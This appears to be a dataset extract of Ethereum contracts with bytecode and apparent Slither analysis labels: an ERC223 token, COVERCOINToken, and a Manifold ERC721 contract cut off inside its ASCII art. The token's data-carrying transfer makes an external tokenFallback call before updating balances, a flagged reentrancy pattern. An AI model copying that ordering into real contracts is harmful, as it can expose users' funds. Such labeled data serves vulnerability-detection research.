address
stringlengths
42
42
source_code
stringlengths
32
1.21M
bytecode
stringlengths
2
49.2k
slither
sequence
0xf27e34c2b0acc3edd0559a9c3c21a884176a32c2
pragma solidity ^0.4.19; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } interface ERC20 { function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ERC223 { function transfer(address to, uint value, bytes data) public; event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract COVERCOINToken is ERC20, ERC223 { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function COVERCOINToken(string name, string symbol, uint8 decimals, uint256 totalSupply) public { _symbol = symbol; _name = name; _decimals = decimals; _totalSupply = totalSupply; balances[msg.sender] = totalSupply; } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function transfer(address _to, uint _value, bytes _data) public { require(_value > 0 ); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } }
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d0578063313ce56714610249578063661884631461027857806370a08231146102d257806395d89b411461031f578063a9059cbb146103ad578063be45fd6214610407578063d73dd6231461048c578063dd62ed3e146104e6575b600080fd5b34156100ca57600080fd5b6100d2610552565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105fa565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba6106ec565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506106f6565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c610a9a565b604051808260ff1660ff16815260200191505060405180910390f35b341561028357600080fd5b6102b8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ab1565b604051808215151515815260200191505060405180910390f35b34156102dd57600080fd5b610309600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d39565b6040518082815260200191505060405180910390f35b341561032a57600080fd5b610332610d82565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610372578082015181840152602081019050610357565b50505050905090810190601f16801561039f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103b857600080fd5b6103ed600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e2a565b604051808215151515815260200191505060405180910390f35b341561041257600080fd5b61048a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061103c565b005b341561049757600080fd5b6104cc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611379565b604051808215151515815260200191505060405180910390f35b34156104f157600080fd5b61053c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061156c565b6040518082815260200191505060405180910390f35b61055a61163d565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105f05780601f106105c5576101008083540402835291602001916105f0565b820191906000526020600020905b8154815290600101906020018083116105d357829003601f168201915b5050505050905090565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561073357600080fd5b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561078157600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561080c57600080fd5b610855600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f3565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108e1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361160c565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109aa600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f3565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600260009054906101000a900460ff16905090565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610bc2576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c4d565b610bcc81846115f3565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d8a61163d565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e205780601f10610df557610100808354040283529160200191610e20565b820191906000526020600020905b815481529060010190602001808311610e0357829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e6757600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610eb557600080fd5b610efe600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115f3565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8a600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361160c565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808311151561104c57600080fd5b6110558461162a565b15611181578390508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561111f578082015181840152602081019050611104565b50505050905090810190601f16801561114c5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561116c57600080fd5b6102c65a03f1151561117d57600080fd5b5050505b6111d383600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061126883600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461160c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b6020831015156112e157805182526020820191506020810190506020830392506112bc565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a450505050565b6000611401600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361160c565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561160157fe5b818303905092915050565b600080828401905083811015151561162057fe5b8091505092915050565b600080823b905060008111915050919050565b6020604051908101604052806000815250905600a165627a7a7230582093732bb531aa91e125adf0a3442875ae19774635a46aebcf52ae8dfa9bf967d80029
[ 1 ]
0xf27e5f403336949426f7641580d686fd2d185873
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: mew.psd /// @author: manifold.xyz import "./ERC721Creator.sol"; //////////////////////////////////////////////////////////////////////////////////////////////// // // // // // // // ' // // '.,β–„.X═ⁿ ` // // ` ,,,,,,, ,, , ,,.,.,,, // // ````````````` ' '"""""' ^^^^^^ ─r─╦══Ç▀ // // '"'"""""""""""""""""""""""""""""""""'""" "^ ^^^^^^^^^^^^^^^^;β–ˆMβ–Œβ–„β•,. // // β–€β–€β–€"⌐ ` // // β”” β•‘ // // . [ , , ⌐ // // β–„β–„β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ β•’ // // ` ` βˆžβ–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ, ,β–„.⌐ // // jβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆX // // ` [ -β–„β–„β–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ // // ` β–€β–€β–€ β–β–ˆβ–ˆβ–ˆβ–ˆβ–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ // // [ ` β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ , // // [ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ // // β•˜β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ" // // β–β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ, // // ` β–„β–„β–ˆβ–ˆβ–€β–ˆβ–„, β–β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ, // // ▐▀` * β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ // // β–„ ,β–„β–„β–„,, β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβŒ // // β–„β–ŒΒ΅ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–„β–β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ // // β–€β–€ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œβ–€β–Œβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ.,⌐⌐ 4β–„β–„ // // β–β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ` // // ,, β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ - // // β–„ ` β–β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ // // β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ // // β–ˆβ–ˆβ–ˆβ–ˆβ–„, β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ ` // // ,β–„`- ,β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ // // ` β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•*ⁿⁿ*^ⁿ²`P // // β–„ β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ xβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ // // ` β–„β–ˆ ,β–„β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ -β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ // // β–„β–ˆβ–ˆβ–ˆΓ¦ ,aβ–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–Œ β–β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œβ– j // // ,β–ˆβ–ˆβ–ˆβ–€F,β–€ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ ─ β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ j // // β–β–Œ|wβ–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβŒ -β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–€β–€β–€β–ˆβ–ˆβ–ˆ `β–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆMβ•› ' // // ` `β–€β–ˆβ–ˆβ–ˆβ–€β–€β–„ "β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ `β–€β–€β•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„, β•”. // // β–€β–„ - β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ ` β””, β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ Β¬ // // β–β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ" ` β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ ` . // // ,β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„, ( // // ., ,β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„, β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ [ // // β•“Ξ£ ,β•βŒβŒΒ¬β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„, β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„ [ // // ` `' ,β–€β–β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„, ,β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–„[ // // β–„;β–ˆβ–€β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ // // Β¬βŒΒ¬βŒβŒΒ¬Β¬β–ˆβ–ˆβ–ˆβŒβ–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–„β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–Œ // // β–ˆβ–ˆβ–Œ 